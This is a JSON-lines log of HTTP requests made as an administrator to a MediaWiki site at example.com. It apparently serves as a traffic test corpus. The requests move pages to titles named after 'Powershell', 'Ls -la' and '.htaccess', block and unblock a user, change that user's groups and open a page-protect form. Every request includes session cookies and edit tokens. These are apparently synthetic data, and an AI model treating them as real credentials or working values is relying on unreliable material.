{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 174", "Host: example.com", "Cookie: my_wiki_session=fcmd64a5hssainutb2ir8ft5hiil5q2k; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=e8f55601074a8ca6555367358cdeaec4", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=move&from=Lighthouse+API+notes&to=Python3+API+notes&reason=Notes+on+python3&movetalk=1&token=d9bfff952b515ebbce0754fa68ecb52d6af23599%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 177", "Host: example.com", "Cookie: my_wiki_session=fcmd64a5hssainutb2ir8ft5hiil5q2k; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=e8f55601074a8ca6555367358cdeaec4; cpPosIndex=2%401794258329%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=move&from=Python3+API+notes&to=Powershell+API+notes&reason=Notes+on+powershell&movetalk=1&token=d9bfff952b515ebbce0754fa68ecb52d6af23599%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 172", "Host: example.com", "Cookie: my_wiki_session=fcmd64a5hssainutb2ir8ft5hiil5q2k; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=e8f55601074a8ca6555367358cdeaec4; cpPosIndex=4%401794258329%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=move&from=Powershell+API+notes&to=Ls+-la+API+notes&reason=Notes+on+ls+-la&movetalk=1&token=d9bfff952b515ebbce0754fa68ecb52d6af23599%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 174", "Host: example.com", "Cookie: my_wiki_session=fcmd64a5hssainutb2ir8ft5hiil5q2k; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=e8f55601074a8ca6555367358cdeaec4; cpPosIndex=6%401794258329%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=move&from=Ls+-la+API+notes&to=.htaccess+API+notes&reason=Notes+on+.htaccess&movetalk=1&token=d9bfff952b515ebbce0754fa68ecb52d6af23599%2B%5C&format=json&formatversion=2"}
# Signed in as an administrator: blocking and unblocking a user, searching the
# block list, changing a user's groups, and protecting and deleting a page,
# through the forms and the API.
{"method": "GET", "target": "/wiki/Special:Block", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.widgets.SelectWithInputWidget.styles%7Cmediawiki.widgets.TagMultiselectWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Cmoment%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.block%7Cmediawiki.widgets.DateInputWidget%2CNamespacesMultiselectWidget%2CSelectWithInputWidget%2CTitlesMultiselectWidget%2CUserInputWidget%2Cdatetime%2Cexpiry%2CvisibleLengthLimit%7Cmediawiki.widgets.DateInputWidget.styles%7Cmediawiki.widgets.DateTimeInputWidget.styles%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-editing-core%2Cicons-interactions%2Cicons-moderation%2Cicons-movement%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=l6l6m", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Lighthouse&aulimit=10", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Block", "headers": ["Host: example.com", "Content-Length: 334", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "title=Special%3ABlock&wpTarget=Lighthouse&wpEditingRestriction=sitewide&wpPageRestrictions=&wpNamespaceRestrictions=&wpCreateAccount=1&wpExpiry=other&wpExpiry-other=1+week&wpReason=other&wpReason-other=Spamming+links&wpAutoBlock=1&wpEditToken=ed914eedcba413702b55d6a5594785366af23fb8%2B%5C&redirectparams=&wpPreviousTarget=&wpConfirm="}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Cmoment%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.block%7Cmediawiki.widgets.DateInputWidget%2CNamespacesMultiselectWidget%2CSelectWithInputWidget%2CTitlesMultiselectWidget%2CUserInputWidget%7Cmediawiki.widgets.DateInputWidget.styles%7Cmediawiki.widgets.SelectWithInputWidget.styles%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-editing-core%2Cicons-movement%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1i52j", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/wiki/Special:BlockList", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.icons-movement%2Cindicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:BlockList", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.UserInputWidget%7Coojs-ui-widgets.icons%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=8zkad", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Special:BlockList", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/wiki/Special:BlockList?wpTarget=Lighthouse&blockType=&limit=50&wpFormIdentifier=blocklist", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:BlockList", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/wiki/Special:Unblock", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Cmoment%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ChighlightText%2ClengthLimit%2Csuggestions%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2CuserSuggest%2Cutil%2Cwidgets%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.block%7Cmediawiki.widgets.DateInputWidget%2CNamespacesMultiselectWidget%2CSelectWithInputWidget%2CTitlesMultiselectWidget%2CUserInputWidget%7Cmediawiki.widgets.DateInputWidget.styles%7Cmediawiki.widgets.SelectWithInputWidget.styles%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-editing-core%2Cicons-movement%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=6b5j1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Unblock", "headers": ["Host: example.com", "Content-Length: 126", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": "title=Special%3AUnblock&wpTarget=Lighthouse&wpReason=Spamming+links&wpEditToken=6df7925da8fd4aa3d1f231a06b3299c16af23fbc%2B%5C"}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/wiki/Special:UserRights", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cnotification%2Cstorage%2Cuser%2Cutil%2CvisibleTimeout%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.notification.convertmessagebox%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.userrights%7Cmediawiki.widgets.UserInputWidget%7Coojs-ui-widgets.icons%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=16i3r", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Lighthouse&aulimit=10&auexcludetemp=1", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special%3AUserRights&user=Lighthouse", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.SelectWithInputWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cnotification%2Cstorage%2Cuser%2Cutil%2CvisibleTimeout%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.notification.convertmessagebox%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.userrights%7Cmediawiki.widgets.SelectWithInputWidget%2CUserInputWidget%7Coojs-ui-widgets.icons%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1isym", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:UserRights", "headers": ["Host: example.com", "Content-Length: 285", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUserRights&wpGroup-bot=1&wpExpiry-bot=infinite&user-reason=Spamming+links&wpEditToken=8cb18cce8f29b56d4be243f6680e30a26af23fbe%2B%5C&user=Lighthouse&wpEditToken=63eff5c3442a7b3d0e61f2c5d3ed3dbb6af23fbe%2B%5C&conflictcheck-originalgroups=&saveusergroups=Save+user+groups"}
{"method": "GET", "target": "/wiki/Special:UserRights/Lighthouse", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794260927%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.notification.convertmessagebox.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.SelectWithInputWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:UserRights/Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794260927%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Lighthouse_notes&action=protect", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794260927%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
